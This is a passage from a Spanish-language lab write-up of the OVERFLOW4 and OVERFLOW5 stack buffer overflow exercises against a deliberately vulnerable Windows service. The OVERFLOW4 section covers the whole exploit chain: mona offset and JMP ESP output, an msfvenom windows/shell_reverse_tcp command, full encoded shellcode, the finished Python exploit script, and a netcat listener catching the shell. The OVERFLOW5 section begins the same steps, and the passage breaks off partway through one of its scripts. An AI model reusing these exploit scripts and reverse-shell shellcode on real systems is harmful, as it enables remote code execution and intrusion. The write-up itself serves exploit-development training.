0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D

Modificamos el script para realizar el envio de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW4 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 2026 bytes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# !mona findmsp -distance 2500

[+] Command used:
!mona findmsp -distance 2500
[+] Looking for cyclic pattern in memory
[..]
[+] Examining registers
    EIP contains normal pattern : 0x70433570 (offset 2026)
    ESP (0x0181fa30) points at offset 2030 in normal pattern (length 470)
    EBP contains normal pattern : 0x43347043 (offset 2022)
    EBX contains normal pattern : 0x33704332 (offset 2018)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (2500).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 2026 + eip_ret + nops + padding * (2500-2026-4) # junk 2026, eip 4, padding 470 = 2500
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW4 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 50 bytes adicionales, en total tendríamos 504 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 2026 + eip_ret + nops + padding * (2500 - 2026 - 4 - 16 + 50) # 504 padding
# 2026 junk, 4 eip_ret, padding 504 (shellcode + nops)
# total buffer = 2534
try:
	log.info("Realizando conexion.")
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	connect = s.connect((address, port))
	data = s.recv(1024)
	s.send("OVERFLOW4 %s\r\n" % buff)
	s.close()
	log.info("Conexion Finalizada.")
except Exception as e:
	#print(e)
	log.failure("Parece que el programa se detuvo." )
	sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 2534 bytes de los cuales 504 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 2026 + eip_ret + nops + badchars + padding * (2500 - 2026 - 4 - 250) # 504 padding
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW4 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\xa9\xcd\xd4".

1
\x00\xa9\xcd\xd4

JMP ESP

Buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\xa9\xcd\xd4"
!mona jmp -r esp -cpb "\x00\xa9\xcd\xd4"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\xa9\xcd\xd4"
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011c7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
    Found a total of 9 pointers

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x625011af)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\xa9\xcd\xd4"                                           127Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xba\x6d\xb5\x70\xc4\xda\xc3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x52\x31\x56\x12\x03\x56\x12\x83\x83\x49\x92\x31\xa7\x5a\xd1"
"\xba\x57\x9b\xb6\x33\xb2\xaa\xf6\x20\xb7\x9d\xc6\x23\x95\x11"
"\xac\x66\x0d\xa1\xc0\xae\x22\x02\x6e\x89\x0d\x93\xc3\xe9\x0c"
"\x17\x1e\x3e\xee\x26\xd1\x33\xef\x6f\x0c\xb9\xbd\x38\x5a\x6c"
"\x51\x4c\x16\xad\xda\x1e\xb6\xb5\x3f\xd6\xb9\x94\xee\x6c\xe0"
"\x36\x11\xa0\x98\x7e\x09\xa5\xa5\xc9\xa2\x1d\x51\xc8\x62\x6c"
"\x9a\x67\x4b\x40\x69\x79\x8c\x67\x92\x0c\xe4\x9b\x2f\x17\x33"
"\xe1\xeb\x92\xa7\x41\x7f\x04\x03\x73\xac\xd3\xc0\x7f\x19\x97"
"\x8e\x63\x9c\x74\xa5\x98\x15\x7b\x69\x29\x6d\x58\xad\x71\x35"
"\xc1\xf4\xdf\x98\xfe\xe6\xbf\x45\x5b\x6d\x2d\x91\xd6\x2c\x3a"
"\x56\xdb\xce\xba\xf0\x6c\xbd\x88\x5f\xc7\x29\xa1\x28\xc1\xae"
"\xc6\x02\xb5\x20\x39\xad\xc6\x69\xfe\xf9\x96\x01\xd7\x81\x7c"
"\xd1\xd8\x57\xd2\x81\x76\x08\x93\x71\x37\xf8\x7b\x9b\xb8\x27"
"\x9b\xa4\x12\x40\x36\x5f\xf5\xaf\x6f\x49\x04\x58\x72\x75\x03"
"\xa2\xfb\x93\x61\xc2\xad\x0c\x1e\x7b\xf4\xc6\xbf\x84\x22\xa3"
"\x80\x0f\xc1\x54\x4e\xf8\xac\x46\x27\x08\xfb\x34\xee\x17\xd1"
"\x50\x6c\x85\xbe\xa0\xfb\xb6\x68\xf7\xac\x09\x61\x9d\x40\x33"
"\xdb\x83\x98\xa5\x24\x07\x47\x16\xaa\x86\x0a\x22\x88\x98\xd2"
"\xab\x94\xcc\x8a\xfd\x42\xba\x6c\x54\x25\x14\x27\x0b\xef\xf0"
"\xbe\x67\x30\x86\xbe\xad\xc6\x66\x0e\x18\x9f\x99\xbf\xcc\x17"
"\xe2\xdd\x6c\xd7\x39\x66\x8c\x3a\xeb\x93\x25\xe3\x7e\x1e\x28"
"\x14\x55\x5d\x55\x97\x5f\x1e\xa2\x87\x2a\x1b\xee\x0f\xc7\x51"
"\x7f\xfa\xe7\xc6\x80\x2f";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (2534).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
shellcode = ("\xba\x6d\xb5\x70\xc4\xda\xc3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x52\x31\x56\x12\x03\x56\x12\x83\x83\x49\x92\x31\xa7\x5a\xd1"
"\xba\x57\x9b\xb6\x33\xb2\xaa\xf6\x20\xb7\x9d\xc6\x23\x95\x11"
"\xac\x66\x0d\xa1\xc0\xae\x22\x02\x6e\x89\x0d\x93\xc3\xe9\x0c"
"\x17\x1e\x3e\xee\x26\xd1\x33\xef\x6f\x0c\xb9\xbd\x38\x5a\x6c"
"\x51\x4c\x16\xad\xda\x1e\xb6\xb5\x3f\xd6\xb9\x94\xee\x6c\xe0"
"\x36\x11\xa0\x98\x7e\x09\xa5\xa5\xc9\xa2\x1d\x51\xc8\x62\x6c"
"\x9a\x67\x4b\x40\x69\x79\x8c\x67\x92\x0c\xe4\x9b\x2f\x17\x33"
"\xe1\xeb\x92\xa7\x41\x7f\x04\x03\x73\xac\xd3\xc0\x7f\x19\x97"
"\x8e\x63\x9c\x74\xa5\x98\x15\x7b\x69\x29\x6d\x58\xad\x71\x35"
"\xc1\xf4\xdf\x98\xfe\xe6\xbf\x45\x5b\x6d\x2d\x91\xd6\x2c\x3a"
"\x56\xdb\xce\xba\xf0\x6c\xbd\x88\x5f\xc7\x29\xa1\x28\xc1\xae"
"\xc6\x02\xb5\x20\x39\xad\xc6\x69\xfe\xf9\x96\x01\xd7\x81\x7c"
"\xd1\xd8\x57\xd2\x81\x76\x08\x93\x71\x37\xf8\x7b\x9b\xb8\x27"
"\x9b\xa4\x12\x40\x36\x5f\xf5\xaf\x6f\x49\x04\x58\x72\x75\x03"
"\xa2\xfb\x93\x61\xc2\xad\x0c\x1e\x7b\xf4\xc6\xbf\x84\x22\xa3"
"\x80\x0f\xc1\x54\x4e\xf8\xac\x46\x27\x08\xfb\x34\xee\x17\xd1"
"\x50\x6c\x85\xbe\xa0\xfb\xb6\x68\xf7\xac\x09\x61\x9d\x40\x33"
"\xdb\x83\x98\xa5\x24\x07\x47\x16\xaa\x86\x0a\x22\x88\x98\xd2"
"\xab\x94\xcc\x8a\xfd\x42\xba\x6c\x54\x25\x14\x27\x0b\xef\xf0"
"\xbe\x67\x30\x86\xbe\xad\xc6\x66\x0e\x18\x9f\x99\xbf\xcc\x17"
"\xe2\xdd\x6c\xd7\x39\x66\x8c\x3a\xeb\x93\x25\xe3\x7e\x1e\x28"
"\x14\x55\x5d\x55\x97\x5f\x1e\xa2\x87\x2a\x1b\xee\x0f\xc7\x51"
"\x7f\xfa\xe7\xc6\x80\x2f")

eip_ret = pack("<L",0x625011af)
nops  = "\x90" * 16
padding = "C"
buff = "A" * 2026 + eip_ret + nops + shellcode + padding * (2500 - 2026 - 4 - 16 - 351)

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW4 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_4 nc -lnvp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49189
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 5

Fuzzing

Realizamos fuzzing al segundo reto, utilizando esta vez OVERFLOW5.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW5 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 500 bytes.

1
2
3
4
➜  OVERFLOW_5 ./overflow5.py 192.168.22.128
[.] Progreso: Enviando 500 bytes.
[-] Parece que el programa se detuvo con 500 bytes.
➜  OVERFLOW_5

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 700 bytes utilizando pattern_create.rb.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A

Modificamos el script para realizar el envio de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW5 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 314 bytes.

1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 700
[+] Command used:
!mona findmsp -distance 700
[..]
[+] Examining registers
    EIP contains normal pattern : 0x356b4134 (offset 314)
    ESP (0x0180fa30) points at offset 318 in normal pattern (length 382)
    EBP contains normal pattern : 0x6b41336b (offset 310)
    EBX contains normal pattern : 0x41326b41 (offset 306)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (700).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 314 + eip_ret + nops + padding * (700-314-4) # junk 314, eip 4, padding 382 = 700
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW5 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 150 bytes adicionales, en total tendríamos 532 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

